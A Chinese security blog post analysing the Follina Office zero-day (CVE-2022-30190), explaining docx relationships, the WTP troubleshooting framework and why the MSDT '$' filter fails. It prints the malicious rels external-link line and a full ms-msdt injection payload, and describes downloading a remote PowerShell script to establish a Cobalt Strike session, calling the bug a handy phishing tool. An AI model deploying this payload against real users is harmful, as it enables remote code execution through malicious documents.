freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Microsoft Office零日攻击-CVE-2022-30190
2022-06-10 00:41:24
所属地 北京

最近看到的0day漏洞,感觉是钓鱼利器,还不需要启用宏,用来方便多了。

前几天日本的安全研究员从VT上发现的一个恶意文档,这个文档就是漏洞的由来,它是通过word的外部连接加载html,再由msdt去执行powershell。

这边解释一下msdt是什么,msdt就是用来支持诊断系统问题的工具,自从Windows  Vista开始,微软就将支持诊断工具被加入到Windows中,主要用于微软工程师在协助用户解决微软产品问题时的数据收集工作。

使用方式即在运行中输入msdt回车,会出现让你输入密钥的弹框如下图。

1654791747_62a21e43e651aac5af3e5.png!small

这次0day的本质还是powershell代码注入漏洞。

我们通过web访问有问题的网页,会提示我们是否打开疑难解答程序。

1654791758_62a21e4e6deab653bdef0.png!small

查看页面源代码可以发现页面加载的payload前带有location.href标签,location.href="url"(在当前页面打开url)

1654791769_62a21e590fae676d7aaf5.png!small

打开恶意docx文档,远程连接web服务器加载js标签内的ms-msdt,这时系统会打开疑难解答程序进行固定的步骤,检测问题(疑难解答)、解决问题(解决方案)和验证解决方案(验证),当程序加载完毕后,我们自己添加的powershell命令将会执行。

这里我通过Invoke-WebRequest去下载远端web服务器上的ps脚本到本地,并拿来执行CS上线。

1654791811_62a21e832428e9f1b6329.png!small

以下是完整的实现流程

1654791817_62a21e895ea0bc1756f2a.png!small

我们先来看恶意文档docx,修改docx后缀为zip,把文件解压出来。

1654791834_62a21e9a4a5b9a719d0fc.png!small

编辑_rels目录下的document.xml.rels文件,可以看到在模板中指向了一个url地址。

1654791854_62a21eae3c69caa7b6bf9.png!small

1654791862_62a21eb6170d750fcb444.png!small

这边有的小伙伴可能看不太懂,我解释一下office文档格式,我们平时看到的文档格式docx是基于微软Office Open XML标准的压缩文件格式,本质其实是xml文件。

注意这种格式是在2007年后提出并加入到当时的office之中,docx格式有三个主要的组成部分:部件、内容类型和关系。

部件就是office文档解压后的文件,有注释;格式定义;列表定义;页眉;图表;关系;文档内容;图片。在word中,使用单独的文件(xml)来表示文档中的每个部分以及附加的内容。他们需要依赖于各部件之间的正确关系保证文件的完整和有效性,如果可以准确保持部件之间的关系,那么文件结构可以任意更改。事实上,在word2007及以上的版本当中,一个文档则是由一个文件夹(或者说容器),由内部的部件各自定义属性和数据,并相互依赖而产生的。一个文件可能会包含这些目录和组件:

1654791892_62a21ed4d36fc2e570a52.png!small

[Content_Types].xml

这个文件描述的是整个文档内容的类型,把各个xml文件组合成一个整体。

docProps文件夹

这个文件夹中的xml记录了docx文档的主要属性信息

Core.xml:描述文件的创建时间,标题,主题和作者等给予open xml约定文档格式的通用文件属性

App.xml:描述文档的其他属性,文档类型,版本,只读信息,共享,安全属性等特定的文件属性

rels 文件夹

这个文件夹存放了所有指定的rels文件

rels文件

这些文件描述了文档结构中的起始关系,也可以叫做关系部件

item1.xml

包含了一些文档中出现的数据。例如自定义XML数据部件。

这里我们着重讲一下rels文件,rels是relationships 的缩写,用于定义文档格式与媒体类型之间的对应关系,读取docx文档时根据rels可以快速得到各部件与媒体类型格式包的对应关系。

部件关系记录了文档部件之间的逻辑连接,内容类型部件的关系。这表示部件之间的关系是,目标部件是源部件的页眉。而这个页眉部件可能也有自己的关系。在包中,可以通过_rels目录中的.rels文件进行关系定位。

构建关系的方法是:每一个关系中都有一个源一个目的,源是关系命名的部件。例如,document.xml.rels中所有的关系都将document.xml作为它们的源。每个.rels文件都包含一个<relationships>元素,每个元素都对应一个ID,包括目标部件的内容类型。

这边做payload就用到了部件关系这一个知识点,<Relationship Id="rId1337" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObject" Target="mhtml:http://localhost:80/exploit.html!x-usc:http://localhost:80/exploit.html" TargetMode="External"/>

首先Id="rId1337"是序号,Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObject"对应的是顶级包,而target指向的是目标所在位置,这里我们是指向了本机的地址,在本机起的web服务。我们通过word打开后,文档会主动连接远端的服务器去加载html页面。

1654791937_62a21f015cec565d924d3.png!small

这时候就到了主角msdt登场时刻了,这个漏洞实际还是msdt的远程命令执行漏洞,这里我们还要用到一个概念就是WTP框架,WTP就是Windows Tool Plus缩写,Windows 疑难解答平台 (WTP) 使 ISV、OEM 和管理员能够编写疑难解答包,使家庭用户和信息工作者能够对电脑问题进行故障排除和解决。疑难解答包将指导用户完成疑难解答和解决问题所需的步骤,用户或应用程序可以启动疑难解答包。当应用程序无法完成任务时,它可以启动故障排除。例如,如果应用程序无法访问远程共享或网站,则该应用程序可以启动疑难解答以确定网络是否正在运行,而不是显示错误消息并将其留给用户手动解决问题。

WTP主要由Windows 疑难解答运行时引擎、结果和报告、四个疑难解答 cmdlet 和一个托管的 Windows PowerShell 运行时组成。

当用户或应用程序调用疑难解答包来运行时,疑难解答运行时引擎将从清单中读取元数据,验证是否允许在计算机上运行疑难解答包,如果是,则向用户显示一些元数据,如疑难解答包的名称和发布者。如果安全检查失败,引擎将立即停止运行疑难解答包。然后,运行时引擎从疑难解答包中获取检测脚本,并在托管的 Windows PowerShell 运行时中运行它。如果脚本需要从用户获取信息,它将使用 Get-DiagInput cmdlet 来显示交互并获取用户的输入。该图还显示了进程边界,其中 Windows PowerShell 在与 WTP 不同的进程中运行。疑难解答包的设计基于三个步骤或阶段:检测问题(疑难解答)、解决问题(解决方案)和验证解决方案(验证),使用清单来描述每个阶段,每个阶段都表示为一组 Windows PowerShell 脚本。

现在开始我们分析主要导致注入发生的异常代码ms-msdt:/id PCWDiagnostic /skip force /param "IT_RebrowseForFile=cal?c IT_SelectProgram=NotListed IT_BrowseForFile=fff$(IEX('notepad.exe'))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe "

这边用dnspy做断点调试,sdiagnhost.exe脚本诊断主机服务,在注册表Image File Execution Options上添加sdiagnhost.exe的启动项,通过dnspy启动映像劫持(Image File Execution Options,IFEO)。修改“Debugger“项值,替换执行程序,用dnspy启动。

1654792023_62a21f57ea3e7423aba38.png!small

在 Microsoft.Windows.Diagnosis.SDHost.dll 里的 Microsoft.Windows.Diagnosis.ManagedHost.RunScript() 方法下断点。查看进程可以看到拉起的记事本进程是在sdiagnhost.exe下建立的,WTP本身存在很多故障诊断包用来调用,这里放上一部分解释。

1654792040_62a21f6868bc500265ee4.png!small

我们之前说到故障排除三个过程,这三个过程分别对应三种脚本,TS、RS、VF。在我们下断点之后进行命令的调试,可以看到RunScript() 方法一共被触发了两次,第一次用于调用 TS 脚本,第二次用于调用 RS 脚本,而且第二次有参数显示,并且触发顺序即是检测,解决和验证。

1654792061_62a21f7d94aab2ba0ff12.png!small

1654792072_62a21f88512cd36b5a8bf.png!small

ManagedHost.RunScript() 使用 PowerShell.AddScript() 方法来添加要执行的命令,并且text 中的部分内容可控(参数部分)。使用AddScript() 会导致在调用时对 text 里的 $ 字符进行语法解析(优先将其解析为子表达式运算符),fff$(IEX('notepad.exe'))

1654792091_62a21f9b422bb299da083.png!small

第二次调用RS脚本所有变量对应的值

1654792100_62a21fa4cea237ec872d8.png!small

触发TS脚本首先需要通过检测,在程序上表现为需要exe结尾,打开TS脚本

1654792108_62a21fac06036422f2d76.png!small

1654792113_62a21fb1a0d4a5281e326.png!small

1654792120_62a21fb879f5ebfc717f3.png!small

1654792124_62a21fbcc902c97c3e1de.png!small

通过Get-DiagInput 命令获取我们输入的信息,赋值给$selectedProgram 变量,调用Test-Selection方法来对 $selectedProgram 进行检测,函数通过test-path检测路径是否合法,之后要求路径扩展名为exe或者msi。

1654792155_62a21fdb4df8989b9d21d.png!small

我们可以通过powershell测试test-path命令,/../返回false路径不存在,/../../则返回true。

1654792166_62a21fe6d240a1892e170.png!small

从 $selectedProgram 里提取文件名,并过滤$符号,以防代码注入。原来的脚本中直接使用 "$",该 "$" 实际会在传给Replace之前被PowerShell 引擎解析,根本无法匹配到 $ 字符。

1654792183_62a21ff7be2550ebb03e7.png!small

TS脚本最后用了Update-DiagRootCause 命令,用于触发RS脚本进入下一解决问题的阶段,进行第二次调用,参数中的 -TargetPath可以用户自定义因此触发了漏洞。

由于对C#不是太懂,调试以及修改payload的时候费了好大的劲儿,我是随便弄了一下之后用CS上线,没去好好做混淆免杀绕过流量检测以及主机防护,实际弄成无文件不落地更好一点。(其实主要还是太菜了。。。)

参考文章:

https://paper.seebug.org/1913/

# 系统安全 # powershell # office # MSDT
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者